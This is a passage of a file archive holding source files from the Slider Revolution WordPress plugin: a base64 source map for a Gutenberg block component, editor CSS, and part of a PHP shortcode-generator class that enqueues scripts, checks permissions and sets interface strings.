G9uZW50ID0gd3AuZWxlbWVudC5Db21wb25lbnQ7XG5cbi8qKlxuICogQ29tcG9uZW50IFJldlNsaWRlciBmb3IgdXNhZ2UgaW4gYmxvY2tcbiovXG5cbmV4cG9ydCB2YXIgUmV2U2xpZGVySW1hZ2UgPSBmdW5jdGlvbiAoX0NvbXBvbmVudCkge1xuICBfaW5oZXJpdHMoUmV2U2xpZGVySW1hZ2UsIF9Db21wb25lbnQpO1xuXG4gIGZ1bmN0aW9uIFJldlNsaWRlckltYWdlKCkge1xuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBSZXZTbGlkZXJJbWFnZSk7XG5cbiAgICB2YXIgX3RoaXMgPSBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybih0aGlzLCAoUmV2U2xpZGVySW1hZ2UuX19wcm90b19fIHx8IE9iamVjdC5nZXRQcm90b3R5cGVPZihSZXZTbGlkZXJJbWFnZSkpLmFwcGx5KHRoaXMsIGFyZ3VtZW50cykpO1xuXG4gICAgX3RoaXMuc3RhdGUgPSB7XG4gICAgICByZXNwb25zZTogdW5kZWZpbmVkLFxuICAgICAgYWxpYXM6IF90aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXMsXG4gICAgICBzbGlkZXJ0aXRsZTogX3RoaXMucHJvcHMuYXR0cmlidXRlcy5zbGlkZXJ0aXRsZVxuICAgIH07XG5cbiAgICByZXR1cm4gX3RoaXM7XG4gIH1cblxuICAvLyBMb2FkIFNsaWRlciBJbWFnZSBiZWZvcmUgaXQgaXMgbW91bnRlZFxuXG5cbiAgX2NyZWF0ZUNsYXNzKFJldlNsaWRlckltYWdlLCBbe1xuICAgIGtleTogJ2NvbXBvbmVudFdpbGxNb3VudCcsXG4gICAgdmFsdWU6IGZ1bmN0aW9uIGNvbXBvbmVudFdpbGxNb3VudCgpIHtcbiAgICAgIHRoaXMubG9hZFNsaWRlckltYWdlKCk7XG4gICAgfVxuXG4gICAgLy8gTG9hZCBTbGlkZXIgSW1hZ2Ugd2hlbiBpdCBpcyBtb3VudGVkXG5cbiAgfSwge1xuICAgIGtleTogJ2NvbXBvbmVudERpZE1vdW50JyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gY29tcG9uZW50RGlkTW91bnQoKSB7fVxuICAgIC8vdGhpcy5sb2FkU2xpZGVySW1hZ2UoKTtcblxuXG4gICAgLy8gV2hlbiBuZXcgUHJvcHMgYXJlIHNlbmQgdG8gdGhlIEJsb2NrIGl0IHdpbGwgcmVsb2FkIHRoZSBpbWFnZSB3aGVuIHRoZSBhbGlhcyBoYXMgY2hhbmdlZFxuXG4gIH0sIHtcbiAgICBrZXk6ICdjb21wb25lbnRXaWxsUmVjZWl2ZVByb3BzJyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gY29tcG9uZW50V2lsbFJlY2VpdmVQcm9wcygpIHtcbiAgICAgIGlmICh0aGlzLnN0YXRlLmFsaWFzICE9IHRoaXMucHJvcHMuYXR0cmlidXRlcy5hbGlhcykgdGhpcy5sb2FkU2xpZGVySW1hZ2UoKTtcbiAgICB9XG5cbiAgICAvLyBMb2FkcyB0aGUgU2xpZGVyIEFkbWluIFRodW1iIHZpYSBBamF4IENhbGxcblxuICB9LCB7XG4gICAga2V5OiAnbG9hZFNsaWRlckltYWdlJyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gbG9hZFNsaWRlckltYWdlKCkge1xuICAgICAgdGhpcy5zZXRTdGF0ZSh7IHJlc3BvbnNlOiB1bmRlZmluZWQgfSk7XG4gICAgICB0aGlzLnNldFN0YXRlKHsgYWxpYXM6IHRoaXMucHJvcHMuYXR0cmlidXRlcy5hbGlhcyB9KTtcbiAgICAgIHZhciBzZWxmID0gdGhpcztcbiAgICAgIGlmICghdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzKSB7XG4gICAgICAgIGlmICh0aGlzLnByb3BzLmF0dHJpYnV0ZXMuY29udGVudCAhPT0gdW5kZWZpbmVkIHx8IHRoaXMucHJvcHMuYXR0cmlidXRlcy50ZXh0ICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgICB2YXIgc2hvcnRjb2RlID0gdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmNvbnRlbnQgIT09IHVuZGVmaW5lZCA/IFJWUy5TQy5wYXJzZVNob3J0Q29kZSh0aGlzLnByb3BzLmF0dHJpYnV0ZXMuY29udGVudCkgOiBSVlMuU0MucGFyc2VTaG9ydENvZGUodGhpcy5wcm9wcy5hdHRyaWJ1dGVzLnRleHQpO1xuICAgICAgICAgIGlmIChzaG9ydGNvZGUuYXR0cmlidXRlcy5hbGlhcykge1xuICAgICAgICAgICAgdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzID0gc2hvcnRjb2RlLmF0dHJpYnV0ZXMuYWxpYXM7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpZiAodGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzKSB7XG4gICAgICAgIFJWUy5GLmFqYXhSZXF1ZXN0KCdnZXRTbGlkZXJJbWFnZScsIHsgYWxpYXM6IHRoaXMucHJvcHMuYXR0cmlidXRlcy5hbGlhcyB9LCBmdW5jdGlvbiAocmVzcG9uc2UpIHtcbiAgICAgICAgICBpZiAocmVzcG9uc2Uuc3VjY2Vzcykge1xuICAgICAgICAgICAgaWYgKHJlc3BvbnNlICE9PSB1bmRlZmluZWQgJiYgcmVzcG9uc2UuaW1hZ2UgIT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgICAgICBzZWxmLnNldFN0YXRlKHtcbiAgICAgICAgICAgICAgICByZXNwb25zZTogcmVzcG9uc2VcbiAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBSVlMuRi5zaG93V2FpdEFNaW51dGUoeyBmYWRlSW46IDAsIHRleHQ6IFJWU19MQU5HLmxvYWRpbmdjb250ZW50IH0pO1xuICAgICAgICAgIH1cbiAgICAgICAgfSk7XG4gICAgICB9XG4gICAgfVxuXG4gICAgLy8gUmVuZGVycyB0aGUgZGlmZmVyZW50IHN0YXRlcyBvZiB0aGUgaW1hZ2UgKGxvYWRpbmcsIGxvYWRlZCBhbmQgbm8gaW1hZ2UpXG5cbiAgfSwge1xuICAgIGtleTogJ3JlbmRlcicsXG4gICAgdmFsdWU6IGZ1bmN0aW9uIHJlbmRlcigpIHtcbiAgICAgIHZhciBwcmVtaXVtID0gdm9pZCAwO1xuICAgICAgaWYgKHRoaXMuc3RhdGUucmVzcG9uc2UgJiYgdGhpcy5zdGF0ZS5yZXNwb25zZS5wcmVtaXVtICE9PSBcIlwiKSB7XG4gICAgICAgIHByZW1pdW0gPSB0aGlzLnN0YXRlLnJlc3BvbnNlLnByZW1pdW0gPyAnIHRwX3ByZW1pdW0nIDogJyc7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBwcmVtaXVtID0gJyc7XG4gICAgICB9XG5cbiAgICAgIHZhciBiYWRnZSA9IFJWUy5FTlYuYWN0aXZhdGVkID8gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAnZGl2JyxcbiAgICAgICAgeyAnY2xhc3MnOiAncnNfbGliX3ByZW1pdW1fd3JhcCcgfSxcbiAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICdkaXYnLFxuICAgICAgICAgIHsgJ2NsYXNzJzogJ3JzX2xpYl9wcmVtaXVtX2xpbGEnIH0sXG4gICAgICAgICAgJ1BSRU1JVU0gVEVNUExBVEUnXG4gICAgICAgIClcbiAgICAgICkgOiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAgICdkaXYnLFxuICAgICAgICB7ICdjbGFzcyc6ICdyc19saWJfcHJlbWl1bV93cmFwJyB9LFxuICAgICAgICB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAgICAgJ2RpdicsXG4gICAgICAgICAgeyAnY2xhc3MnOiAncnNfbGliX3ByZW1pdW1fcmVkJyB9LFxuICAgICAgICAgIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICAgICAgICdpJyxcbiAgICAgICAgICAgIHsgJ2NsYXNzJzogJ21hdGVyaWFsLWljb25zJyB9LFxuICAgICAgICAgICAgJ3Zpc2liaWxpdHlfb2ZmJ1xuICAgICAgICAgICksXG4gICAgICAgICAgJ1JFR0lTVEVSIExJQ0VOU0UgVE8gVU5MT0NLJ1xuICAgICAgICApXG4gICAgICApO1xuICAgICAgaWYgKHByZW1pdW0gPT0gJycpIGJhZGdlID0gJyc7XG5cbiAgICAgIC8vSW1hZ2UgTG9hZGVkXG4gICAgICBpZiAodGhpcy5zdGF0ZS5yZXNwb25zZSAmJiB0aGlzLnN0YXRlLnJlc3BvbnNlLmltYWdlICE9PSBcIlwiKSB7XG4gICAgICAgIHJldHVybiBbd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICdkaXYnLFxuICAgICAgICAgIHsgY2xhc3NOYW1lOiBcInNsaWRlckltYWdlXCIgKyBwcmVtaXVtIH0sXG4gICAgICAgICAgYmFkZ2UsXG4gICAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KCdkaXYnLCB7IHN0eWxlOiB7IGJhY2tncm91bmRJbWFnZTogJ3VybCgnICsgdGhpcy5zdGF0ZS5yZXNwb25zZS5pbWFnZSArICcpJyB9IH0pXG4gICAgICAgICldO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgLy9JbWFnZSBMb2FkaW5nXG4gICAgICAgIGlmICghdGhpcy5zdGF0ZS5yZXNwb25zZSkgcmV0dXJuIFt3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicsIHsgY2xhc3NOYW1lOiBcInNsaWRlckltYWdlTG9hZGluZ1wiICsgcHJlbWl1bSB9KV07XG4gICAgICAgIC8vTm8gSW1hZ2VcbiAgICAgICAgZWxzZSB7XG4gICAgICAgICAgICByZXR1cm4gW3dwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICAgICAgICAgJ2RpdicsXG4gICAgICAgICAgICAgIHsgY2xhc3NOYW1lOiBcIm5vU2xpZGVySW1hZ2VcIiArIHByZW1pdW0gfSxcbiAgICAgICAgICAgICAgYmFkZ2VcbiAgICAgICAgICAgICldO1xuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1dKTtcblxuICByZXR1cm4gUmV2U2xpZGVySW1hZ2U7XG59KENvbXBvbmVudCk7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9zcmMvcmV2c2xpZGVyL3JldlNsaWRlckltYWdlLmpzXG4vLyBtb2R1bGUgaWQgPSA2XG4vLyBtb2R1bGUgY2h1bmtzID0gMCJdLCJtYXBwaW5ncyI6IkFBQUE7QUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///6\n"); /***/ }), /* 7 */ /*!********************************!*\ !*** external "wp.components" ***! \********************************/ /*! dynamic exports provided */ /***/ (function(module, exports) { module.exports = wp.components; /***/ }) /******/ ]);admin/includes/shortcode_generator/gutenberg/dist/index.php000060400000000033151724235750020252 0ustar00 .components-toolbar svg { color: inherit !important; } body[class*="version-5-4"] .wp-block[data-type="themepunch/revslider"].block-editor-block-list__block, .wp-block[data-type="themepunch/revslider"] .editor-block-list__block-edit.block-editor-block-list__block-edit { background: #f6f6f9; } .wp-block[data-type="themepunch/revslider"] .revslider_block { background-position: 14px 14px; background-color: #fff; } .wp-block[data-type="themepunch/revslider"] .revslider_block .sliderBar { padding: 14px 14px 14px 160px; overflow: hidden; position: relative; } .wp-block[data-type="themepunch/revslider"] .revslider_block .sliderImage { margin-top: 0px; padding: 14px; } .wp-block[data-type="themepunch/revslider"] .sliderBar slider_editor_button_wrap { display: none; } .slider_editor_button_wrap { display: none; position: absolute; right: 14px; top: 14px; padding-top: 2px; white-space: nowrap; width: 220px; height: 30px; background: #f6f6f9; } .wp-block[data-type="themepunch/revslider"].is-hovered .sliderBar .slider_editor_button_wrap, .wp-block[data-type="themepunch/revslider"].is-selected .sliderBar .slider_editor_button_wrap { display: inline-block; } .block-editor-block-list__layout .wp-block.is-selected.wp-block[data-type="themepunch/revslider"].block-editor-block-list__block:not([contenteditable]):focus:after { -webkit-box-shadow: 0 0 0 1.5px rgba(66, 88, 99, 0.4); box-shadow: 0 0 0 1.5px rgba(66, 88, 99, 0.4); } .wp-block[data-type="themepunch/revslider"] .sliderBar span { white-space: nowrap; height: 23px; overflow: hidden; display: inline-block; max-width: 100%; } button.components-button.components-dropdown-menu__toggle.has-icon[aria-label="Slider Revolution"] .dashicon.dashicons.dashicons-update { margin-left: 0px; margin-right: 0px; } .rs_lib_premium_wrap { font-family: "Roboto"; position: absolute; top: 5px; right: 5px; z-index: 300; width: auto !important; height: auto !important; } .rs_lib_premium_lila, .rs_lib_premium_red, .rs_lib_premium_red_hover { display: none; background: #ff2021; line-height: 23px; padding: 0px 6px; font-size: 13px; color: #fff; font-weight: 600; position: relative; z-index: 15; text-transform: uppercase; border-radius: 4px; } .rs_lib_premium_lila { background: #5c30af; display: block; } .sliderImage.tp_premium, .noSliderImage.tp_premium { position: relative; } .noSliderImage.tp_premium { background: #e3e5e8; padding: 15px; } .sliderImage.tp_premium .rs_lib_premium_lila, .noSliderImage.tp_premium .rs_lib_premium_lila, .sliderImage.tp_premium .rs_lib_premium_red, .noSliderImage.tp_premium .rs_lib_premium_red { width: auto !important; height: auto !important; display: inline-block !important; vertical-align: top; } .noSliderImage.tp_premium .rs_lib_premium_wrap { position: relative; top: auto; right: auto; height: 25px !important; } .rs_n_ac_n .rs_lib_premium_lila { display: none; } .rs_n_ac_n .rs_lib_premium_red { display: block; } .rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red, .olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red { display: none; } .rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red_hover, .olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red_hover { display: block; } .rs_lib_premium_red_hover .material-icons, .rs_lib_premium_red .material-icons { margin-right: 5px; } .wp-block[data-type="themepunch/revslider"] .sliderBar button.components-button.slider_editor_button span { position: absolute; } admin/includes/shortcode_generator/gutenberg/dist/blocks.style.build.css000060400000002234151724235750022663 0ustar00/** * #.# Common SCSS * * Can include things like variables and mixins * that are used across the project. */ div.revslider_block { background: url(images/rs6_logo_2x.png); background-size: 120px 30px; background-repeat: no-repeat; line-height: 32px; } div.revslider_block .components-text-control__input { display: none; } div.revslider_block span { font-weight: bold; font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif; } div.revslider_block .slider_slug { float: left; } div.revslider_block .slider_edit_button { float: right; } /* [data-type="themepunch/revslider"] .editor-block-list__block-edit:before { outline: 1px solid rgba(145, 151, 162, 0.25) !important; } */ .editor-block-list-item-themepunch-revslider svg, .components-panel__body.edit-post-block-sidebar__panel svg.dashicons-update { width: 24px; height: 24px; } .editor-block-list-item-themepunch-revslider .editor-block-types-list__item-title { padding: 4px 1px 4px 1px; } .wp-block[data-type="themepunch/revslider"] .sliderBar button.components-button.slider_editor_button span { position: absolute; } admin/includes/shortcode_generator/shortcode_generator.class.php000060400000041631151724235750021373 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderShortcodeWizard extends RevSliderFunctions { public static function enqueue_scripts(){ global $pagenow; $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); $action = $f->get_val($_GET, 'action'); if($action === 'elementor') return; // only add scripts if native WordPress editor, Gutenberg or Visual Composer // Elementor has its own hooks for adding scripts if($action === 'edit' || $pagenow === 'post-new.php' || $pagenow === 'widgets.php' || $f->get_val($_GET, 'vc_action', '') === 'vc_inline'){ self::add_scripts(); } } public static function add_styles(){ wp_enqueue_style('revslider-material-icons', RS_PLUGIN_URL . 'public/assets/fonts/material/material-icons.css', array(), RS_REVISION); //wp_enqueue_style('revslider-material-icons', RS_PLUGIN_URL . 'admin/assets/icons/material-icons.css', array(), RS_REVISION); wp_enqueue_style('revslider-basics-css', RS_PLUGIN_URL . 'admin/assets/css/basics.css', array(), RS_REVISION); wp_enqueue_style('rs-color-picker-css', RS_PLUGIN_URL . 'admin/assets/css/tp-color-picker.css', array(), RS_REVISION); wp_enqueue_style('revbuilder-ddTP', RS_PLUGIN_URL . 'admin/assets/css/ddTP.css', array(), RS_REVISION); $f = new RevSliderFunctions(); $gs = $f->get_global_settings(); $fdl = $f->get_val($gs, 'fontdownload', 'off'); if($fdl === 'off'){ $url_css = $f->modify_fonts_url('https://fonts.googleapis.com/css?family='); $url_material = str_replace('css?', 'icon?', $url_css); wp_enqueue_style('rs-roboto', $url_css.'Roboto'); wp_enqueue_style('tp-material-icons', $url_material.'Material+Icons'); }elseif($fdl === 'preload'){ $fonts = array('Roboto' => 'Roboto:400%2C300%2C700%2C500'); //, 'Material Icons' => 'Material+Icons' $html = $f->preload_fonts($fonts); if(!empty($html)) echo $html; echo "\n\n"; }//disable => load on your own } public static function add_scripts($elementor = false, $divi = false){ $f = RevSliderGlobals::instance()->get('RevSliderFunctions'); $action = $f->get_val($_GET, 'action'); if($elementor && $action !== 'elementor') return; require_once(RS_PLUGIN_PATH . 'admin/includes/functions-admin.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/template.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/folder.class.php'); require_once(RS_PLUGIN_PATH . 'public/revslider-front.class.php'); //check user permissions if(!current_user_can('edit_posts') && !current_user_can('edit_pages')) return; if(!$elementor && !$divi){ //verify the post type global $typenow, $pagenow; $post_types = get_post_types(); if(empty($post_types) || !is_array($post_types)) $post_types = array('post', 'page'); if(!in_array($typenow, $post_types) && $pagenow !== 'widgets.php') return; $current_screen = get_current_screen(); // checks for built-in gutenberg version $is_gutenberg = !empty($current_screen) && method_exists($current_screen, 'is_block_editor') && $current_screen->is_block_editor(); // checks for old plugin version if(!$is_gutenberg) $is_gutenberg = function_exists('is_gutenberg_page') && is_gutenberg_page(); // gutenberg if(!$is_gutenberg){ add_filter('mce_external_plugins', array('RevSliderShortcodeWizard', 'add_tinymce_shortcode_editor_plugin')); add_filter('mce_buttons', array('RevSliderShortcodeWizard', 'add_tinymce_shortcode_editor_button')); } // enqueue styles self::add_styles(); } $output_class = new RevSliderOutput(); $output_class->add_inline_double_jquery_error(true); echo RevSliderFront::js_set_start_size(); $dev_mode = (!file_exists(RS_PLUGIN_PATH.'admin/assets/js/plugins/utils.min.js') && !file_exists(RS_PLUGIN_PATH.'admin/assets/js/modules/editor.min.js')) ? true : false; if($dev_mode === true){ wp_enqueue_script('revbuilder-basics', RS_PLUGIN_URL . 'admin/assets/js/modules/basics.js', array('jquery'), RS_REVISION, false); wp_enqueue_script('revbuilder-ddTP', RS_PLUGIN_URL . 'admin/assets/js/plugins/ddTP.js', array('jquery'), RS_REVISION, false); wp_enqueue_script('revbuilder-color-picker-js', RS_PLUGIN_URL . 'admin/assets/js/plugins/tp-color-picker.min.js', array('jquery', 'revbuilder-ddTP', 'wp-i18n', 'wp-color-picker'), RS_REVISION); wp_enqueue_script('revbuilder-clipboard', RS_PLUGIN_URL . 'admin/assets/js/plugins/clipboard.min.js', array('jquery'), RS_REVISION, false); wp_enqueue_script('revbuilder-utils', RS_PLUGIN_URL . 'admin/assets/js/modules/objectlibrary.js', array('jquery'), RS_REVISION, false); wp_enqueue_script('revbuilder-optimizer', RS_PLUGIN_URL . 'admin/assets/js/modules/optimizer.js', array('jquery'), RS_REVISION, false); }else{ wp_enqueue_script('revbuilder-utils', RS_PLUGIN_URL . 'admin/assets/js/plugins/utils.min.js', array('jquery', 'wp-i18n', 'wp-color-picker'), RS_REVISION, false); } wp_enqueue_script('tp-tools', RS_PLUGIN_URL . 'public/assets/js/rbtools.min.js', array('jquery'), RS_TP_TOOLS, true); // object library translations wp_localize_script('revbuilder-utils', 'RVS_LANG', array( 'insetrequirements' => __('Move Layer into a Group and set Position to Absolute before selecting Full Inset', 'revslider'), 'notduringinsetmode' => __('Resize and Drag is not available if Layer Size set to Inset', 'revslider'), 'sliderasmodal' => __('Use as Modal', 'revslider'), 'noadminthumbs' => __('No Admin Thumb set', 'revslider'), 'corejs' => __('Core JavaScript', 'revslider'), 'corecss' => __('Core CSS', 'revslider'), 'coretools' => __('Core Tools (GreenSock & Co)', 'revslider'), 'enablecompression' => __('Enable Server Compression', 'revslider'), 'noservercompression' => __('Not Available, read FAQ', 'revslider'), 'servercompression' => __('Serverside Compression', 'revslider'), 'sizeafteroptim' => __('Size after Optimization', 'revslider'), 'chgimgsizesrc' => __('Change Image Size or Src', 'revslider'), 'pickandim' => __('Pick another Dimension', 'revslider'), 'optimize' => __('Optimize', 'revslider'), 'applychanges' => __('Apply Changes', 'revslider'), 'savechanges' => __('Save Changes', 'revslider'), 'suggestion' => __('Suggestion', 'revslider'), 'toosmall' => __('Too Small', 'revslider'), 'standard1x' => __('Standard (1x)', 'revslider'), 'retina2x' => __('Retina (2x)', 'revslider'), 'oversized' => __('Oversized', 'revslider'), 'quality' => __('Quality', 'revslider'), 'file' => __('File', 'revslider'), 'resize' => __('Resize', 'revslider'), 'lowquality' => __('Optimized (Low Quality)', 'revslider'), 'notretinaready' => __('Not Retina Ready', 'revslider'), 'element' => __('Element', 'revslider'), 'calculating' => __('Calculating...', 'revslider'), 'filesize' => __('File Size', 'revslider'), 'dimension' => __('Dimension', 'revslider'), 'dimensions' => __('Dimensions', 'revslider'), 'optimization' => __('Optimization', 'revslider'), 'optimized' => __('Optimized', 'revslider'), 'smartresize' => __('Smart Resize', 'revslider'), 'optimal' => __('Optimal', 'revslider'), 'recommended' => __('Recommended', 'revslider'), 'hrecommended' => __('Highly Recommended', 'revslider'), 'optimizertitel' => __('File Size Optimizer', 'revslider'), 'loadedmediafiles' => __('Loaded Media Files', 'revslider'), 'loadedmediainfo' => __('Optimize to save up to ', 'revslider'), 'optselection' => __('Optimize Selection', 'revslider'), 'copyrightandlicenseinfo' => __('© Copyright & License Info', 'revslider'), 'ol_images' => __('Images', 'revslider'), 'ol_layers' => __('Layer Objects', 'revslider'), 'ol_objects' => __('Objects', 'revslider'), 'ol_modules' => __('Own Modules', 'revslider'), 'ol_fonticons' => __('Font Icons', 'revslider'), 'ol_moduletemplates' => __('Module Templates', 'revslider'), 'ol_videos' => __('Videos', 'revslider'), 'ol_svgs' => __('SVG\'s', 'revslider'), 'ol_favorite' => __('Favorites', 'revslider'), 'simproot' => __('Root', 'revslider'), 'loading' => __('Loading', 'revslider'), 'elements' => __('Elements', 'revslider'), 'loadingthumbs' => __('Loading Thumbnails...', 'revslider'), 'moduleBIG' => __('MODULE', 'revslider'), 'packageBIG' => __('PACKAGE', 'revslider'), 'installed' => __('Installed', 'revslider'), 'notinstalled' => __('Not Installed', 'revslider'), 'setupnotes' => __('Setup Notes', 'revslider'), 'requirements' => __('Requirements', 'revslider'), 'installedversion' => __('Installed Version', 'revslider'), 'availableversion' => __('Available Version', 'revslider'), 'installpackage' => __('Installing Template Package', 'revslider'), 'doinstallpackage' => __('Install Template Package', 'revslider'), 'installtemplate' => __('Install Template', 'revslider'), 'installingaddon' => __('Installing Add-on', 'revslider'), 'checkversion' => __('Update To Latest Version', 'revslider'), 'installpackageandaddons' => __('Install Template Package & Addon(s)', 'revslider'), 'installtemplateandaddons' => __('Install Template & Addon(s)', 'revslider'), 'licencerequired' => __('Activate License', 'revslider'), 'redownloadTemplate' => __('Re-Download Online', 'revslider'), 'createBlankPage' => __('Create Blank Page', 'revslider'), 'pluginsmustbeupdated' => __('Plugin Outdated. Please Update', 'revslider'), 'please_wait_a_moment' => __('Please Wait a Moment', 'revslider'), 'search' => __('Search', 'revslider'), 'folderBIG' => __('FOLDER', 'revslider'), 'objectBIG' => __('OBJECT', 'revslider'), 'imageBIG' => __('IMAGE', 'revslider'), 'videoBIG' => __('VIDEO', 'revslider'), 'iconBIG' => __('ICON', 'revslider'), 'svgBIG' => __('SVG', 'revslider'), 'fontBIG' => __('FONT', 'revslider'), 'show' => __('Show', 'revslider'), 'perpage' => __('Per Page', 'revslider'), 'updatefromserver' => __('Update List', 'revslider'), 'imageisloading' => __('Image is Loading...', 'revslider'), 'importinglayers' => __('Importing Layers...', 'revslider'), 'layerwithaction' => __('Layer with Action', 'revslider'), 'triggeredby' => __('Behavior', 'revslider'), 'nrlayersimporting' => __('Layers Importing', 'revslider'), 'nothingselected' => __('Nothing Selected', 'revslider'), 'sortbycreation' => __('Sort by Creation', 'revslider'), 'creationascending' => __('Creation Ascending', 'revslider'), 'sortbytitle' => __('Sort by Title', 'revslider'), 'titledescending' => __('Title Descending', 'revslider'), 'active_sr_to_access' => __('Register Slider Revolution
            to Unlock Premium Features', 'revslider'), 'addons' => __('Add-Ons', 'revslider'), 'active_sr_tmp_obl' => __('Template & Object Library', 'revslider'), 'active_sr_inst_upd' => __('Instant Updates', 'revslider'), 'active_sr_one_on_one' => __('1on1 Support', 'revslider'), 'membersarea' => __('Members Area', 'revslider'), 'onelicensekey' => __('1 License Key per Website!', 'revslider'), 'onepurchasekey' => __('1 Purchase Code per Website!', 'revslider'), 'onelicensekey_info' => __('If you want to use your license key on another domain, please
            deregister it in the members area or use a different key.', 'revslider'), 'onepurchasekey_info' => __('If you want to use your purchase code on
            another domain, please deregister it first or', 'revslider'), 'registeredlicensekey' => __('Registered License Key', 'revslider'), 'registeredpurchasecode' => __('Registered Purchase Code', 'revslider'), 'registerlicensekey' => __('Register License Key', 'revslider'), 'registerpurchasecode' => __('Register Purchase Code', 'revslider'), 'registerCode' => __('Register this Code', 'revslider'), 'registerKey' => __('Register this License Key', 'revslider'), 'deregisterCode' => __('Deregister this Code', 'revslider'), 'deregisterKey' => __('Deregister this License Key', 'revslider'), 'active_sr_plg_activ' => __('Register Purchase Code', 'revslider'), 'active_sr_plg_activ_key' => __('Register License Key', 'revslider'), 'getpurchasecode' => __('Get a Purchase Code', 'revslider'), 'getlicensekey' => __('Get a License Key', 'revslider'), 'ihavepurchasecode' => __('I have a Purchase Code', 'revslider'), 'ihavelicensekey' => __('I have a License Key', 'revslider'), 'enterlicensekey' => __('Enter License Key', 'revslider'), 'enterpurchasecode' => __('Enter Purchase Code', 'revslider'), 'premium_template' => __('PREMIUM TEMPLATE', 'revslider'), 'rs_premium_content' => __('This is a Premium template from the Slider Revolution
            template library. It can only be used on this website with a registered license key.', 'revslider'), 'premium' => __('Premium', 'revslider'), 'premiumunlock' => __('REGISTER LICENSE TO UNLOCK', 'revslider') )); wp_enqueue_script('revbuildet-shortcode-generator-js', RS_PLUGIN_URL . 'admin/assets/js/shortcode_generator/shortcode_generator.js', array('jquery'), RS_REVISION, true); $rsaf = new RevSliderFunctionsAdmin(); $rsa = $rsaf->get_short_library(); if(!empty($rsa)) $obj = $rsaf->json_encode_client_side($rsa); $rs_compression = $rsaf->compression_settings(); $favs = get_option('rs_favorite', array()); $favs = !empty($favs) ? $rsaf->json_encode_client_side($favs) : false; $rs_color_picker_presets = RSColorpicker::get_color_presets(); ?> '; require_once(RS_PLUGIN_PATH . 'admin/views/modals-copyright.php'); } /** * add script tinymce shortcode script * @since: 5.1.1 */ public static function 